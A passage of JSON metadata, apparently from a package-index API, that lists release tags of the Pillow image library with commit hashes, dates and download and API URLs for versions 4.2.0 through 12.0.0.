/tag/12.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.0.0/manifests"},{"name":"11.3.0","sha":"89f1f4626a2aaf5f3d5ca6437f41def2998fbe09","kind":"commit","published_at":"2025-07-01T07:41:24.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/11.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/11.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@11.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.3.0/manifests"},{"name":"11.2.1","sha":"339bc5db93bd95decf65a59fab273f300db6594d","kind":"commit","published_at":"2025-04-12T16:55:46.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/11.2.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/11.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@11.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.2.1/manifests"},{"name":"11.1.0","sha":"4c1aed801e43c6b307e7135279ca1dbc02bbf052","kind":"commit","published_at":"2025-01-02T05:00:59.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/11.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/11.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@11.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.1.0/manifests"},{"name":"11.0.0","sha":"204aae6682fc936f5350b3fe70335776f81480a7","kind":"commit","published_at":"2024-10-15T05:55:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/11.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/11.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@11.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.0.0/manifests"},{"name":"10.4.0","sha":"9b4fae77178e827ab17118fbc89c739ffd6a0fab","kind":"commit","published_at":"2024-07-01T05:42:12.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.4.0/manifests"},{"name":"10.3.0","sha":"5c89d88eee199ba53f64581ea39b6a1bc52feb1a","kind":"commit","published_at":"2024-04-01T09:22:36.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.3.0/manifests"},{"name":"10.2.0","sha":"6956d0b2853f5c7ec5f6ec4c60725c5a7ee73aeb","kind":"commit","published_at":"2024-01-02T07:32:31.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.2.0/manifests"},{"name":"10.1.0","sha":"da59ad000d1405eaecd557175e29083a87d19f7c","kind":"commit","published_at":"2023-10-15T08:59:17.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.1.0/manifests"},{"name":"10.0.1","sha":"e34d346f10c0b1c814661e662a3e0c1ef084cf1c","kind":"commit","published_at":"2023-09-15T11:55:25.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.0.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.1/manifests"},{"name":"10.0.0","sha":"6e28ed1f36d0eb74053af54e1eddc9c29db698cd","kind":"commit","published_at":"2023-07-01T12:08:11.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.0/manifests"},{"name":"9.5.0","sha":"204590600c6a8c5246d0564d3312abd6e6b0ed70","kind":"commit","published_at":"2023-04-01T07:49:41.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.5.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.5.0/manifests"},{"name":"9.4.0","sha":"a5bbab1c1e63b439de191ef2040173713b26d2da","kind":"commit","published_at":"2023-01-01T23:29:07.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.4.0/manifests"},{"name":"9.3.0","sha":"d594f4cb8dc47fb0c69ae58d9fff86faae4515bd","kind":"commit","published_at":"2022-10-29T12:25:53.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.3.0/manifests"},{"name":"9.2.0","sha":"58acec3312fb8671c9d84829197e1c8150085589","kind":"commit","published_at":"2022-07-01T13:19:51.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.2.0/manifests"},{"name":"9.1.1","sha":"0f44136e720cd3b2db72bdf29614897b7aa3e868","kind":"commit","published_at":"2022-05-17T10:33:52.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.1/manifests"},{"name":"9.1.0","sha":"5d070222d21138d2ead002fd33fdf5adcb708941","kind":"commit","published_at":"2022-04-01T07:48:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.0/manifests"},{"name":"9.0.1","sha":"6deac9e3a23caffbfdd75c00d3f0a1cd36cdbd5d","kind":"commit","published_at":"2022-02-02T23:45:27.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.0.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.1/manifests"},{"name":"9.0.0","sha":"82541b6dec8452cb612067fcebba1c5a1a2bfdc8","kind":"commit","published_at":"2022-01-02T09:51:23.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.0/manifests"},{"name":"8.4.0","sha":"40e7ff622669550733b26f14dc817fb72e096250","kind":"commit","published_at":"2021-10-15T06:27:22.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.4.0/manifests"},{"name":"8.3.2","sha":"8013f130a5077b238a4346b73e149432b180a8ea","kind":"commit","published_at":"2021-09-02T12:13:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.3.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.2/manifests"},{"name":"8.3.1","sha":"92933b86574b9c80764bf52c357ed29e1ef53382","kind":"commit","published_at":"2021-07-06T14:05:28.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.3.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.1/manifests"},{"name":"8.3.0","sha":"51591a80a4e14543ea8cbe93026db5e79354b8c4","kind":"commit","published_at":"2021-07-01T03:53:49.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.0/manifests"},{"name":"8.2.0","sha":"e0e353c0ef7516979a9aedce3792596649ce4433","kind":"commit","published_at":"2021-04-01T17:58:27.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.2.0/manifests"},{"name":"8.1.2","sha":"88bd672dafad68b419ea29bef941dfa17f941038","kind":"commit","published_at":"2021-03-06T02:38:55.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.2/manifests"},{"name":"8.1.1","sha":"741d8744a54bedbc49f16922c61a06fcb3681f53","kind":"commit","published_at":"2021-03-01T08:24:03.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.1/manifests"},{"name":"8.1.0","sha":"fcc42e0d344146ee9d265d1f43c094ce5a0ec4cf","kind":"commit","published_at":"2021-01-02T11:39:02.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.0/manifests"},{"name":"8.0.1","sha":"d209b7cab2866cbf381cbfc193f57de91a403757","kind":"commit","published_at":"2020-10-22T15:05:53.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.0.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.1/manifests"},{"name":"8.0.0","sha":"235a7d6d7deab9555dc2c1b42fdf11243f6080e8","kind":"commit","published_at":"2020-10-14T16:02:53.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.0/manifests"},{"name":"7.2.0","sha":"2bd74943fb9f320def6c066e732b701d1c15f677","kind":"commit","published_at":"2020-06-30T07:50:35.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.2.0/manifests"},{"name":"7.1.2","sha":"4f6145655b6fa35ec8dd3600041418087e399758","kind":"commit","published_at":"2020-04-25T05:47:14.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.2/manifests"},{"name":"7.1.1","sha":"ed40d04ac4dc71518a1fcbb916d0d323ef70fbc5","kind":"commit","published_at":"2020-04-02T12:41:33.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.1/manifests"},{"name":"7.1.0","sha":"f0fe60ae9f930faeda2f0c22f602bed1f8a0f1c7","kind":"commit","published_at":"2020-04-01T10:12:46.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.0/manifests"},{"name":"7.0.0","sha":"1cecf08d16509c20473766b4cdb7a65169844819","kind":"commit","published_at":"2020-01-02T05:19:26.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.0.0/manifests"},{"name":"6.2.2","sha":"a45c8583ff90312a2fddc38567ed736cef4af563","kind":"commit","published_at":"2020-01-02T05:18:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.2.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.2/manifests"},{"name":"6.2.1","sha":"6e0f07bbe38def22d36ee176b2efd9ea74b453a6","kind":"commit","published_at":"2019-10-21T06:05:44.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.2.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.1/manifests"},{"name":"6.2.0","sha":"8a30d135378dc6a1c3c08fa4bb9fbc15370feedf","kind":"commit","published_at":"2019-10-01T09:24:57.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.0/manifests"},{"name":"6.1.0","sha":"aaca672173413883fbcefd659f04d74fe44fb5d5","kind":"commit","published_at":"2019-07-02T19:10:33.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.1.0/manifests"},{"name":"6.0.0","sha":"4f3b44960f103bc201a742332dbf9a77de1eaa87","kind":"commit","published_at":"2019-04-01T22:25:27.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.0.0/manifests"},{"name":"5.4.1","sha":"f38f01bbe3a0a9f49ce592c86ff20c01c9655133","kind":"commit","published_at":"2019-01-06T12:12:16.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.4.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.1/manifests"},{"name":"5.4.0","sha":"d2d438794cdd80bdbc852c884f0473c86fb72ab3","kind":"commit","published_at":"2019-01-01T10:56:08.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.0/manifests"},{"name":"5.3.0","sha":"0ac14725ef4444fdb2871a54bcc95fcd6b8807b3","kind":"commit","published_at":"2018-10-01T05:48:10.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.3.0/manifests"},{"name":"5.2.0","sha":"c28bf86b7e752a9257a0d4451ca878c1385db15c","kind":"commit","published_at":"2018-07-01T19:40:29.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.2.0/manifests"},{"name":"5.1.0","sha":"fda33d5c09142c4bb0e99964919d01c2cc5f5995","kind":"commit","published_at":"2018-04-02T18:40:12.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.1.0/manifests"},{"name":"5.0.0","sha":"e5bd7eb6235cc24b9c8d3e7ce51ed48a780c7c70","kind":"commit","published_at":"2018-01-01T15:03:06.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.0.0/manifests"},{"name":"4.3.0","sha":"636dc62f0e8f9b233f1f2b287292b45325df135d","kind":"commit","published_at":"2017-10-02T12:23:50.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.3.0/manifests"},{"name":"4.2.1","sha":"bbde1fe6826f642d2a5967edb6c9816f8d82b8e9","kind":"commit","published_at":"2017-07-06T14:28:19.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.2.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.1/manifests"},{"name":"4.2.0","sha":"acb19d8e45699bf961604e48b28002b099250ddd","kind":"commit","published_at":"2017-07-01T12:46:24.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.2.0","html_url":"https://github.com/python-p